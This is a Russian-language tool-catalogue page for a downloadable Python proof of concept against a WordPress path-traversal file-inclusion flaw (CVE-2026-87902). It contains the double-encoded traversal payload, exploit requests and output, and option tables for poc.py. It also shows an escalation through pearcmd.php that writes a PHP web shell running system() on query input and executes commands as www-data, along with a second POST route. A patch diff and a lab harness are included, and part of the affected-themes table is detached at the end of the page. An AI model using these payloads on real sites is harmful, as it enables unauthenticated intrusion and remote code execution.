Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-87902 — Python PoC для CVE-2026-87902 — неаутентифицированное RCE через обход пути в WordPress с использованием get_page_template(), с фингерпринтингом версии, проверками темы и опциональным включением файлов. | Kitploit
Инструменты/GitHubGitHub/vulpecuna/cve-2026-87902
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаЛаборатории и Практика
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

Python PoC для CVE-2026-87902 — неаутентифицированное RCE через обход пути в WordPress с использованием get_page_template(), с фингерпринтингом версии, проверками темы и опциональным включением файлов.

3150 дней назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-87902

РекомендацияGHSA-7hp8-65ch-5whp
ПродуктWordPress <= 7.1.1, исправлено в 7.1.2; протестированы обе версии
Точка входаwp-includes/template.php, get_page_template()
Причинакандидат, построенный из pagename, не проходит через validate_file()
Акторанонимный, без учётной записи, без cookie, без CSRF-токена
Метододин GET, два параметра
Эффектпроизвольный .php с диска включается и выполняется в процессе WordPress
Эскалацияудалённое выполнение команд там, где эксплуатируется PEAR-гаджет, см. PHP и эскалация
Запись на цельнет при --include по умолчанию
Воспроизведено здесь6 релизов, 7 тем, 4 версии PHP

Запрос

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> — это каталог page-, обход и цель, где каждая точка и слэш закодированы дважды:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
ПолеРоль
pagenameполезная нагрузка. WP_Query прогоняет её через sanitize_title_for_query(), который переписывает литеральную точку в дефис, но сохраняет percent-encoded октеты. Затем get_page_template() вызывает urldecode(), чтобы декодировать результат в путь
page_idлюбая опубликованная страница, чтобы запрос совпал с записью, а не вернул 404. Без него шаблон страницы никогда не загружается

Ядро строит page-{urldecode($pagename)}.php и разрешает его относительно каталога стилей. Кодирование обязательно: sanitize_title_for_query() переписывает литеральное .. в -.

Предусловия

#УсловиеПочему
1активная тема содержит каталог page-* верхнего уровняимя — page-{payload}.php, поэтому его первый сегмент должен разрешаться на диске
2одна опубликованная страница, не являющаяся ни главной, ни страницей записейis_front_page и is_home проверяются раньше is_page
3целевой файл заканчивается на .phpядро добавляет расширение

Никакого загруженного контента, никаких изменений в конфигурации сайта, теме или ядре.

Все 26 затронутых тем называют каталог page-templates. poc.py берёт имя из themes.json, предполагает page-templates для темы, которой там нет, а --root переопределяет списком через запятую.

Хосты Windows отбрасывают предусловие 1. Win32 лексически отменяет .., поэтому сегмент, которого не существует, всё равно отменяется следующим за ним ...

ПутьРезультат
C:\...\wordpress\page-nothing\..\README.mdсуществует
C:\...\wordpress\page-nothing\README.mdне существует

Протестировано с os.stat на Windows 11, который использует ту же обработку путей Win32, что и file_exists() в PHP. Сам WordPress на Windows не запускался.

Использование

Проверка, по умолчанию

Определяет тему и две версии, затем спрашивает, существует ли каталог page-*. Ничего не включается и не выполняется.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Ответ на page-<root>/Чтение
200каталог существует и листится
404такого каталога нет
403неубедительно, поэтому следует один контрольный запрос на page-<8 random hex>/
403, затем контроль 404отказ был связан с существованием, каталог существует
403, затем контроль отказансервер отклоняет всё, что бы у него ни спросили, выход 4

Затронутость требует обоих: каталог существует, и версия не выше 7.1.1.

Эксплуатация

Сначала выполняет проверку, затем включает файл, если проверка не исключила цель.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

Отрендеренный шаблон темы всегда ссылается на /wp-content/themes/ через wp_head(), включённый файл извне темы — нет. Это правило вердикта.

Опции

ОпцияПо умолчаниюЭффект
--target URLобязательноразвёртывание под тестом
--exploitвыкл.включить файл после проверки
--include PATHwp-admin/install.php.php для включения. Относительные пути разрешаются от корня WordPress, абсолютные поднимаются с --depth
--depth N7переходы ../ для абсолютного --include
--root NAME[,NAME]из themes.jsonкаталоги page-* для проверки, без префикса page-
--page-id IDобнаруженопропустить обнаружение страницы
--theme SLUGобнаруженопропустить поиск темы
--theme-version Vобнаруженопропустить поиск версии темы
--no-versionвыкл.не делать ни одного запроса, единственная цель которого — узнать версию
--core-json PATHcore.jsonотпечатки релизов, читаются только когда ничто не раскрыло версию
--traceвыкл.печатать каждый обмен
--jsonвыкл.один JSON-объект, ничего больше
--yesвыкл.пропустить подтверждение
КодПроверкаЭксплуатация
0затронуто.php вне темы был включён
1не затронутоне включён
2нет ответа, или ответ не WordPressто же
3использование, или отклонено на подтверждениито же
4неубедительно, см. случаи 403 и 7.1.xне используется

--include по умолчанию — wp-admin/install.php: в любом WordPress вывод безошибочно узнаваем, ничего не меняет.

TLS-сертификаты не проверяются. Просроченные, самоподписанные и с несовпадающим именем хоста принимаются.

Фингерпринтинг версии

Пробуется по порядку, останавливаясь на первом, что ответит.

ИсточникСтоимостьНа 7.1.1
мета generator на главной страницебесплатноточная версия
?ver= на ресурсе /wp-includes/бесплатноточная версия
/?feed=rss21 запросточная версия
/wp-links-opml.php1 запросточная версия
sha256 отданного ресурса против core.json1 запроснабор релизов, поставляющих эти байты

core.json покрывает 112 опубликованных релизов и 7.1.2, по четыре ресурса каждый. Их пересечение называет 9 релизов точно и оставляет медиану в 4 кандидата. Затронутость требует, чтобы каждый кандидат был не выше 7.1.1.

7.1.1 и 7.1.2 невозможно различить извне. Три файла, которые различаются, — это wp-admin/about.php, wp-includes/template.php и wp-includes/version.php, ни один из них не отдаётся. Сайт 7.1.x, скрывающий свою версию, получает выход 4.

Темы

200 наиболее установленных тем на wordpress.org. 26 содержат каталог page-* и затронуты, вместе 765 500 из 9 027 090 активных установок. Остальные 174 не проходят предусловие 1.

ТемаВерсияУстановкиpage-*СтатусПодтверждено
neve4.2.11200,000page-templates🔴 затронутоlab
sydney2.7180,000page-templates🔴 затронутоlab
hestia3.3.670,000page-templates🔴 затронутоlab
inspiro2.2.360,000page-templates🔴 затронутоsurvey
colibri-wp1.0.16950,000page-templates🔴 затронутоsurvey
twentyfourteen4.650,000page-templates🔴 затронутоlab
twentytwelve4.950,000page-templates🔴 затронутоlab
colormag4.2.540,000page-templates🔴 затронутоlab
zakra4.3.330,000page-templates🔴 затронутоsurvey
spacious1.9.1220,000page-templates

lab означает протестировано от начала до конца с poc.py против стокового образа, survey означает, что каталог был прочитан из архива темы, а сама тема не поднималась.

Протестированы и не затронуты, ни одна из них не содержит каталог page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, поставляемый hestia, neve и другими, не меняет затронутость. Он лишь исключает ID главной страницы для запроса.

Версии

РелизТема по умолчанию образаС затронутой темойПодтверждено
7.1.2🟢 не затронуто, twentytwentyfive🟢 не затронуто, nevelab
7.1.1🟢 не затронуто, twentytwentyfive🔴 затронуто, nevelab
7.1.0🟢 не затронуто, twentytwentyfive🔴 затронуто, nevelab
7.0.4🟢 не затронуто, twentytwentyfive🔴 затронуто, nevelab
6.8.3🟢 не затронуто, twentytwentyfive🔴 затронуто, nevelab
6.1.0🟢 не затронуто, twentytwentythree🔴 затронуто, twentytwelvelab
4.9.8🟢 не затронуто, twentyseventeen🔴 затронуто, twentytwelvelab
остальные 105 релизовне измерялосьне измерялосьне измерялось
Версия темыне предусловие, а каталог page-* — да. neve 4.2.11 использовалась на 6.8.3 и выше, twentytwelve 4.9 на двух более старых ядрах
7.1.2нет опубликованного образа. Протестировано с lab/run.py --core 7.1.2, который накладывает официальный архив релиза поверх 7.1.1-apache
Из коробкини один релиз начиная с 4.1 не затронут. twentyfifteen по twentytwentyfive не содержат каталог page-*. twentyfourteen и twentytwelve содержат, и были темами по умолчанию для 3.8–4.0 и для 3.5, для которых образ не опубликован
Не вытягивается15 из 112 опубликованных тегов: 14 старше 4.5.3-apache используют манифест v1, который containerd 2.1 отвергает, а 4.5.3-apache имеет слой, который реестр не может отдать

Варианты PHP, публикуемые для каждого релиза, которые определяют эскалацию ниже:

Релизы WordPressВарианты PHP, публикуемые как -apache
4.1.x до 4.5.xнет, только простой тег, 5.6
4.6.x до 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x до 5.5.x7.1 7.2 7.3 7.4
5.6.x до 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x до 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x и 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x и 7.1.x8.2 8.3 8.4 8.5

PHP и эскалация

Включение файла удаётся на всех четырёх образах, и pearcmd.php присутствует в каждом. Выполнение команд через гаджет требует включённого register_argc_argv, который образ php8.5 отключает.

ОбразPHPregister_argc_argv
$_SERVER['argv']
RCE через pearcmd.phpПодтверждено
7.1.1-php8.2-apache8.2.33Вкл., заполнен🔴 uid=33(www-data)lab
7.1.1-apache8.3.33Вкл., заполнен🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25Вкл., заполнен🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Выкл., null🟢 не достигнутоlab

Читается через apache2handler, а не CLI, который принудительно включает настройку. Два запроса, стоящие за колонкой RCE:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py включает файл, он не управляет гаджетом. Добраться до него можно с --include /usr/local/lib/php/pearcmd.php --depth 7. Никакой другой гаджет, кроме pearcmd.php, на образе 8.5 не искался.

Исправление

Прочитано из wordpress-7.1.2.zip. Два изменения.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

Первое исправляет уязвимую ветку, второе проверяет каждый разрешённый путь шаблона, чем бы он ни был порождён. Протестировано: на 7.1.2 с активной neve и присутствующим page-templates тот же запрос рендерит собственную страницу темы, 55 084 байта, вместо установщика.

Второй маршрут существует на 7.1.1 и ранее:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Чем отличаетсяуводит WP_Query в его ветку post_name, которая никогда не переписывает pagename, поэтому литеральное .. работает
Что нужнотема без single.php, потому что is_single проверяется раньше is_page
Протестировано на7.1.1 с bloghash
Почему это здесьэто выживает при исправлении, укрепляющем только санитайзер. Проверка сдерживания выше закрывает и его

Лаборатория

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
По строке
Образофициальный wordpress:<tag>, немодифицированный
Изоляциясобственный контейнер, собственный порт, собственная база данных в общей MariaDB
Установкапо HTTP через wp-admin/install.php, поэтому ни одной версии не нужен соответствующий wp-cli
Состояниекак его оставляет установщик, одна опубликованная страница, ничего не загружено
Управляется сpoc.py --exploit, поэтому строка измеряет включение, а не внешний вид
ОпцияПо умолчаниюЭффект
--jobs N2строк параллельно
--theme SLUG[@VERSION]нетустановить и активировать на каждой строке
--core VERSIONнетналожить этот официальный релиз поверх ядра образа, так запускается релиз без образа
--keepвыкл.оставить экземпляры поднятыми, пароль администратора печатается в конце
--pruneвыкл.удалить образы, вытянутые этим запуском
--port-base N8110первый порт, по одному на строку, только 127.0.0.1
--db-imagemariadb:10.6образ базы данных
--timeout N180секунд, которые контейнеру даётся на ответ
--out PATHlab/results.jsonдетали по строкам

Коды выхода: 0 каждая строка измерена, 1 хотя бы одна не измерена, 2 Docker отсутствует или нечего запускать, 3 использование или отклонено. Образ WordPress — от 600 МБ до 1,1 ГБ, поэтому --all без --prune — это десятки ГБ.

.github/workflows/lab.yml запускает четыре строки при каждом изменении PoC или лаборатории, и еженедельно: затронутая тема на 7.1.1 и на 6.8.3, тема по умолчанию образа, и вариант php8.5. Каждая проверяет свой ожидаемый код выхода.

Ссылки

РекомендацияGHSA-7hp8-65ch-5whp
Разборhttps://ressl.ch/blog/cve-2026-87902-wordpress/
Другой PoChttps://github.com/ressl/cve-2026-87902-poc

Две идеи, взятые из того PoC, обе сначала протестированы здесь:

ИдеяОставленоПротестировано
/index.php?rest_route= и /wp-json/ как запасные маршруты для листинга страницдаобнаружение удаётся через один из трёх
предпочитать страницу без собственного шаблона страницы, поскольку get_page_template() пробует этот шаблон первымда, как порядокпринудительное использование страницы, которая его несёт, всё равно воспроизвелось на 7.1.1, так что это стоит запроса в худшем случае

Файлы

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Требования: Docker, Python 3.8+, без сторонних пакетов.

Скачать инструмент
🔴 затронуто
survey
hueman3.7.2720,000page-templates🔴 затронутоsurvey
bloghash1.0.3010,000page-templates🔴 затронутоlab
botiga2.4.910,000page-templates🔴 затронутоsurvey
tutorstarter4.0.310,000page-templates🔴 затронутоsurvey
mesmerize1.6.18710,000page-templates🔴 затронутоsurvey
flash1.4.1210,000page-templates🔴 затронутоsurvey
shapely1.3.610,000page-templates🔴 затронутоsurvey
silverstorm1.0.368,000page-templates🔴 затронутоsurvey
prespa1.7.88,000page-templates🔴 затронутоsurvey
hybridmag1.1.46,000page-templates🔴 затронутоsurvey
chromenews6.2.105,000page-templates🔴 затронутоsurvey
morenews4.3.105,000page-templates🔴 затронутоsurvey
newsexo9.12,000page-templates🔴 затронутоsurvey
reviewnews2.0.51,000page-templates🔴 затронутоsurvey
the8-shop-dark1.0.5400page-templates🔴 затронутоsurvey
newsonline0.6100page-templates🔴 затронутоsurvey